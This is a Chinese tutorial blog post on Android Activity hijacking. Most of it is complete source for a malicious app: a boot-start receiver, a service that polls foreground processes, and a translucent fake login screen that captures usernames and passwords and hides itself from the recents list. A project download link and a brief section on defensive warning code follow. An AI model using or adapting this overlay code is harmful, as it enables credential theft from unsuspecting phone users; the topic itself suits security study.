一、什么叫Activity劫持
这里举一个例子。用户打开安卓手机上的某一应用,进入到登陆页面,这时,恶意软件侦测到用户的这一动作,立即弹出一个与该应用

界面相同的Activity,覆盖掉了合法的Activity,用户几乎无法察觉,该用户接下来输入用户名和密码的操作其实是在恶意软件的Activity上进行的,接下来会发生什么就可想而知了。

 

二、实例
Activity劫持的危害是非常大的,它的具体实现和一些细节,我将会用一个完整的实例说明:

首先,我们在Android Studio中新建一个工程,项目结构如下:

<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent"
    android:layout_height="match_parent" >

    <TextView
        android:layout_width="match_parent"
        android:layout_height="wrap_content"
        android:text="Normal Activity"
        android:gravity="center_horizontal"
        android:padding="10dp"
        android:background="#ffffff"/>
    <LinearLayout
        android:id="@+id/Layout1"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:layout_centerHorizontal="true"
        android:layout_marginTop="80dp"
        android:orientation="horizontal">

        <TextView
            android:text="UserName"
            android:layout_width="wrap_content"
            android:layout_height="wrap_content"
            android:textColor="#000000"
            android:textSize="20dp" />

        <EditText
            android:id="@+id/UserNameEdit"
            android:layout_width="100dp"
            android:layout_height="wrap_content" />
    </LinearLayout>

    <LinearLayout
        android:id="@+id/Layout2"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:layout_centerHorizontal="true"
        android:layout_marginTop="50dp"
        android:orientation="horizontal"
        android:layout_below="@id/Layout1">

        <TextView
            android:text="Password"
            android:layout_width="wrap_content"
            android:layout_height="wrap_content"
            android:textColor="#000000"
            android:textSize="20dp" />

        <EditText
            android:id="@+id/PasswordEdit"
            android:layout_width="100dp"
            android:layout_height="wrap_content" />
    </LinearLayout>

    <Button
        android:id="@+id/LoginButton"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:layout_below="@id/Layout2"
        android:layout_marginTop="5dp"
        android:layout_centerHorizontal="true"
        android:text="Login"/>

</RelativeLayout>

 

 
activity_main.xml的内容:
<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent"
    android:layout_height="match_parent" >

    <TextView
        android:layout_width="match_parent"
        android:layout_height="wrap_content"
        android:text="Normal Activity"
        android:gravity="center_horizontal"
        android:padding="10dp"
        android:background="#ffffff"/>
    <LinearLayout
        android:id="@+id/Layout1"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:layout_centerHorizontal="true"
        android:layout_marginTop="80dp"
        android:orientation="horizontal">

        <TextView
            android:text="UserName"
            android:layout_width="wrap_content"
            android:layout_height="wrap_content"
            android:textColor="#000000"
            android:textSize="20dp" />

        <EditText
            android:id="@+id/UserNameEdit"
            android:layout_width="100dp"
            android:layout_height="wrap_content" />
    </LinearLayout>

    <LinearLayout
        android:id="@+id/Layout2"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:layout_centerHorizontal="true"
        android:layout_marginTop="50dp"
        android:orientation="horizontal"
        android:layout_below="@id/Layout1">

        <TextView
            android:text="Password"
            android:layout_width="wrap_content"
            android:layout_height="wrap_content"
            android:textColor="#000000"
            android:textSize="20dp" />

        <EditText
            android:id="@+id/PasswordEdit"
            android:layout_width="100dp"
            android:layout_height="wrap_content" />
    </LinearLayout>

    <Button
        android:id="@+id/LoginButton"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:layout_below="@id/Layout2"
        android:layout_marginTop="5dp"
        android:layout_centerHorizontal="true"
        android:text="Login"/>

</RelativeLayout>

 


activity_second.xml的内容:只是一个TextView控件,显示"Second Activity"而已,就不贴代码了。

MainActivity.java的内容:
package com.example.hac.normalapp;

import android.app.Activity;
import android.content.Intent;
import android.os.Bundle;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;

//一个简单的界面,模拟用户输入用户名、密码,点击按钮后就跳转到SecondActivity
//只是为了演示正常的Activity而已,无实际功能
public class MainActivity extends Activity {

    Button login = null;
    EditText userName = null;
    EditText password = null;

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        login = (Button)findViewById(R.id.LoginButton);
        userName = (EditText)findViewById(R.id.UserNameEdit);
        password = (EditText)findViewById(R.id.PasswordEdit);

        login.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View view) {
                Intent intent = new Intent(MainActivity.this, SecondActivity.class);
                //启动SecondActivity
                startActivity(intent);
            }
        });

    }
}

 


SecondActivity.java的内容:无内容,就是一个空的Activity,用于显示activity_second.xml的内容而已,不贴代码啦。
AndroidMainfest.xml的内容:就是普通的内容,不贴代码了。

接下来是我们的恶意软件,再新建一个工程,项目结构如下:
 
activity_fakemain.xml的内容:我们伪造的Activity布局,模仿上面正常的Activity布局。
<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent"
    android:layout_height="match_parent" >

    <TextView
        android:layout_width="match_parent"
        android:layout_height="wrap_content"
        android:text="Normal Activity"
        android:gravity="center_horizontal"
        android:padding="10dp"
        android:background="#ffffff"
        android:visibility="invisible"/>
    <LinearLayout
        android:id="@+id/Layout1"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:layout_centerHorizontal="true"
        android:layout_marginTop="80dp"
        android:orientation="horizontal">

        <TextView
            android:text="UserName"
            android:layout_width="wrap_content"
            android:layout_height="wrap_content"
            android:textColor="#000000"
            android:textSize="20dp"
            android:visibility="invisible"/>

        <EditText
            android:id="@+id/UserNameEdit"
            android:layout_width="100dp"
            android:layout_height="wrap_content"
            android:visibility="invisible"/>
    </LinearLayout>

    <LinearLayout
        android:id="@+id/Layout2"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:layout_centerHorizontal="true"
        android:layout_marginTop="50dp"
        android:orientation="horizontal"
        android:layout_below="@id/Layout1">

        <TextView
            android:text="Password"
            android:layout_width="wrap_content"
            android:layout_height="wrap_content"
            android:textColor="#000000"
            android:textSize="20dp"
            android:visibility="invisible"/>

        <EditText
            android:id="@+id/PasswordEdit"
            android:layout_width="100dp"
            android:layout_height="wrap_content"
            android:visibility="invisible"/>
    </LinearLayout>

    <Button
        android:id="@+id/LoginButton"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:layout_below="@id/Layout2"
        android:layout_marginTop="5dp"
        android:layout_centerHorizontal="true"
        android:text="Login"
        android:visibility="invisible"/>

</RelativeLayout>

activity_main.xml的内容:

<?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
    android:orientation="vertical" android:layout_width="match_parent"
    android:layout_height="match_parent">
    <TextView
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:text="Start"
        android:textSize="50dp"/>

    <Button
        android:id="@+id/StartServiceButton"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:text="StartService"
        android:padding="20dp"
        android:layout_gravity="center_horizontal"/>


</LinearLayout>

activity_main.xml的内容:

<?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
    android:orientation="vertical" android:layout_width="match_parent"
    android:layout_height="match_parent">
    <TextView
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:text="Start"
        android:textSize="50dp"/>

    <Button
        android:id="@+id/StartServiceButton"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:text="StartService"
        android:padding="20dp"
        android:layout_gravity="center_horizontal"/>

</LinearLayout>

 

AutoStartReceiver.java的内容:
package com.example.hac.evilapp;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;

//用于开机自动启动HijackService的Receiver,它能够响应“android.intent.action.BOOT_COMPLETED”
public class AutoStartReceiver extends BroadcastReceiver {
    @Override
    public void onReceive(Context context, Intent intent) {
        if (intent.getAction().equals("android.intent.action.BOOT_COMPLETED")) {
            Intent _intent = new Intent(context, HijackService.class);
            //启动HijackService
            context.startService(_intent);
        }
    }
}

EvilApplication.java的内容:

package com.example.hac.evilapp;

import android.app.Application;
import java.util.ArrayList;
import java.util.List;

public class EvilApplication extends Application{
    //存放已经被劫持的程序
    List<String> hijackedList = new ArrayList<String>();

    public boolean hasProgressBeHijacked(String processName) {
        return hijackedList.contains(processName);
    }

    public void addHijacked(String processName) {
        hijackedList.add(processName);
    }

    public void clearHijacked() {
        hijackedList.clear();
    }

}

FakeMainActivity.java的内容:

package com.example.hac.evilapp;

import android.app.Activity;
import android.os.Bundle;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
import android.widget.Toast;
import java.util.Timer;
import java.util.TimerTask;

public class FakeMainActivity extends Activity {
    Button login = null;
    EditText userName = null;
    EditText password = null;

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_fakemain);
        login = (Button)findViewById(R.id.LoginButton);
        userName = (EditText)findViewById(R.id.UserNameEdit);
        password = (EditText)findViewById(R.id.PasswordEdit);

        //下面这段代码主要是为了使用户更难察觉出我们伪造的Activity
        //原理是保证我们伪造的Activity已经覆盖在真实的Activity上后,再将我们的控件显示出来
        //我本来是想让我们伪造的Activity直接在原位淡入的,但没有实现,郁闷
        //无奈只能用这个本方法,如果大家有更好的办法,请赐教
        Timer timer = new Timer();
        TimerTask task = new TimerTask() {
            @Override
            public void run() {
                runOnUiThread(new Runnable(){
                    @Override
                    public void run() {
                        userName.setVisibility(View.VISIBLE);
                        password.setVisibility(View.VISIBLE);
                        login.setVisibility(View.VISIBLE);
                    }});
            }
        };
        timer.schedule(task, 1000);

        login.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View view) {
                //这里为了显示效果,将用户输入的内容显示出来,真正的恶意软件则会直接将信息发送给自己
                Toast.makeText(getApplicationContext(), userName.getText().toString() + " / " + password.getText().toString(), Toast.LENGTH_LONG).show();
                //为了伪造的Activity弹出时不那么明显
                userName.setVisibility(View.INVISIBLE);
                password.setVisibility(View.INVISIBLE);
                login.setVisibility(View.INVISIBLE);
                finish();

            }
        });
    }
}

HijackService.java的内容:

package com.example.hac.evilapp;

import android.app.ActivityManager;
import android.app.Service;
import android.content.Context;
import android.content.Intent;
import android.os.Handler;
import android.os.IBinder;
import android.util.Log;

import java.util.HashMap;
import java.util.List;

public class HijackService extends Service {

    //targetMap用于存放我们的目标程序
    HashMap<String, Class<?>> targetMap = new HashMap<String, Class<?>>();
    Handler handler = new Handler();
    boolean isStart = false;

    //我们新建一个Runnable对象,每隔200ms进行一次搜索
    Runnable searchTarget = new Runnable() {
        @Override
        public void run() {
            //得到ActivityManager
            ActivityManager activityManager = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);
            //通过ActivityManager将当前正在运行的进程存入processInfo中
            List<ActivityManager.RunningAppProcessInfo> processInfo = activityManager.getRunningAppProcesses();
            Log.w("恶意软件", "遍历进程");
            //遍历processInfo中的进程信息,看是否有我们的目标
            for (ActivityManager.RunningAppProcessInfo _processInfo : processInfo) {
                //若processInfo中的进程正在前台且是我们的目标进程,则调用hijack方法进行劫持
                if (_processInfo.importance == ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND) {
                    if (targetMap.containsKey(_processInfo.processName)) {
                        // 调用hijack方法进行劫持
                        hijack(_processInfo.processName);
                    } else {
                        Log.w("进程", _processInfo.processName);
                    }
                }
            }
            handler.postDelayed(searchTarget, 200);
        }
    };

    //进行Activity劫持的函数
    private void hijack(String processName) {
        //这里判断我们的目标程序是否已经被劫持过了
        if (((EvilApplication) getApplication())
                .hasProgressBeHijacked(processName) == false) {
            Log.w("恶意软件", "开始劫持"+processName);
            Intent intent = new Intent(getBaseContext(),
                    targetMap.get(processName));
            //这里必须将flag设置为Intent.FLAG_ACTIVITY_NEW_TASK,这样才能将我们伪造的Activity至于栈顶
            intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
            //启动我们伪造的Activity
            getApplication().startActivity(intent);
            //将目标程序加入到已劫持列表中
            ((EvilApplication) getApplication()).addHijacked(processName);
            Log.w("恶意软件", "已经劫持");
        }
    }
    @Override
    public void onStart(Intent intent, int startId) {
        super.onStart(intent, startId);
        if (!isStart) {
            //将我们的目标加入targetMap中
            //这里,key为我们的目标进程,value为我们伪造的Activity
            targetMap.put("com.example.hac.normalapp",
                    FakeMainActivity.class);
            //启动searchTarget
            handler.postDelayed(searchTarget, 1000);
            isStart = true;
        }
    }

    @Override
    public boolean stopService(Intent name) {
        isStart = false;
        Log.w("恶意软件", "停止劫持");
        //清空劫持列表
        ((EvilApplication) getApplication()).clearHijacked();
        //停止searchTarget
        handler.removeCallbacks(searchTarget);
        return super.stopService(name);
    }

    @Override
    public IBinder onBind(Intent intent) {
        return null;
    }
}

StartServiceActivity.java的内容:

package com.example.hac.evilapp;

import android.app.Activity;
import android.content.Intent;
import android.os.Bundle;
import android.view.View;
import android.widget.Button;

//用于手动启动我们的HijackService,真正的恶意软件通常不会有这样的一个Activity
public class StartServiceActivity extends Activity {
    Button startButton = null;

    @Override
    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        startButton = (Button)findViewById(R.id.StartServiceButton);

        startButton.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View view) {
                Intent intent2 = new Intent(StartServiceActivity.this, HijackService.class);
                startService(intent2);
            }
        });
    }
}

colors.xml的内容:

<?xml version="1.0" encoding="utf-8"?>
<resources>
    <color name="translucent_background">#00000000</color>>
</resources>

styles.xml的内容:

<resources>

    <!-- Base application theme. -->
    <style name="AppTheme" parent="Theme.AppCompat.Light.DarkActionBar">
        <!-- Customize your theme here. -->
    </style>

    <style name="translucent" parent="Theme.AppCompat.Light.DarkActionBar">

        <item name="android:windowBackground">@color/translucent_background</item>
        <item name="android:windowIsTranslucent">true</item>
        <item name="android:windowAnimationStyle">@android:style/Animation.Translucent</item>
    </style>

</resources>

 

AndroidMainfest.xml的内容:注意HijackService和AutoStartReceiver要在这里注册,且要添加相应的权限。另外,添加andorid:excludeFromRecent="true"这一项能够防止我们的恶意程序在最近访问列表中出现,这将提升其危险程度。
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.example.hac.evilapp" >

    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />

    <application

        android:name=".EvilApplication"
        android:allowBackup="true"
        android:icon="@drawable/ic_launcher"
        android:label="@string/app_name"
        android:theme="@style/AppTheme" >
        <activity
            android:name=".StartServiceActivity"
            android:label="@string/app_name"

            android:excludeFromRecents="true">
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />

                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
        <activity android:name=".FakeMainActivity" android:excludeFromRecents="true" android:theme="@style/translucent"/>
        <service android:name=".HijackService" ></service>
        <receiver
            android:name=".AutoStartReceiver"
            android:enabled="true"
            android:exported="true" >
            <intent-filter>
                <action android:name="android.intent.action.BOOT_COMPLETED" />
            </intent-filter>
        </receiver>

    </application>

</manifest>

项目工程下载(ChinaUnix对文件大小有限制,只能传百度网盘了):

http://pan.baidu.com/s/1eQ8JF5w
 
三、防护手段
目前,还没有什么专门针对Activity劫持的防护方法,因为,这种攻击是用户层面上的,目前还无法从代码层面上根除。
但是,我们可以适当地在APP中给用户一些警示信息,提示用户其登陆界面以被覆盖,并给出覆盖正常Activity的类名,示例如
下:
1、在前面建立的正常Activity的登陆界面(也就是MainActivity)中重写onKeyDown方法和onPause方法,这样一来,当其被覆盖时,就能够弹出警示信息,代码如下:
@Override
    public boolean onKeyDown(int keyCode, KeyEvent event) {
        //判断程序进入后台是否是用户自身造成的(触摸返回键或HOME键),是则无需弹出警示。
        if((keyCode==KeyEvent.KEYCODE_BACK || keyCode==KeyEvent.KEYCODE_HOME) && event.getRepeatCount()==0){
            needAlarm = false;
        }
        return super.onKeyDown(keyCode, event);
    }

    @Override
    protected void onPause() {
       //若程序进入后台不是用户自身造成的,则需要弹出警示
        if(needAlarm) {
            //弹出警示信息
            Toast.makeText(getApplicationContext(), "您的登陆界面被覆盖,请确认登陆环境是否安全", Toast.LENGTH_SHORT).show();
            //启动我们的AlarmService,用于给出覆盖了正常Activity的类名
            Intent intent = new Intent(this, AlarmService.class);
            startService(intent);
        }
        super.onPause();
    }

2、实现AlarmService.java,代码如下:

package com.example.hac.normalapp;

import android.app.ActivityManager;
import android.app.Service;
import android.content.Context;
import android.content.Intent;
import android.os.Handler;
import android.os.IBinder;
import android.widget.Toast;

public class AlarmService extends Service{

    boolean isStart = false;
    Handler handler = new Handler();

    Runnable alarmRunnable = new Runnable() {
        @Override
        public void run() {
            //得到ActivityManager
            ActivityManager activityManager = (ActivityManager)getSystemService(Context.ACTIVITY_SERVICE);
            //getRunningTasks会返回一个List,List的大小等于传入的参数。
            //get(0)可获得List中的第一个元素,即栈顶的task
            ActivityManager.RunningTaskInfo info = activityManager.getRunningTasks(1).get(0);
            //得到当前栈顶的类名,按照需求,也可以得到完整的类名和包名
            String shortClassName = info.topActivity.getShortClassName(); //类名
            //完整类名
            //String className = info.topActivity.getClassName();
            //包名
            //String packageName = info.topActivity.getPackageName();
            Toast.makeText(getApplicationContext(), "当前运行的程序为"+shortClassName, Toast.LENGTH_LONG).show();
        }
    };
    @Override
    public int onStartCommand(Intent intent, int flag, int startId) {
        super.onStartCommand(intent, flag, startId);
        if(!isStart) {
            isStart = true;
            //启动alarmRunnable
            handler.postDelayed(alarmRunnable, 1000);
            stopSelf();
        }
        return START_STICKY;
    }
    @Override
    public IBinder onBind(Intent intent) {
        return null;
    }
}


3、最后在AndroidManifest.xml中注册AlarmService即可。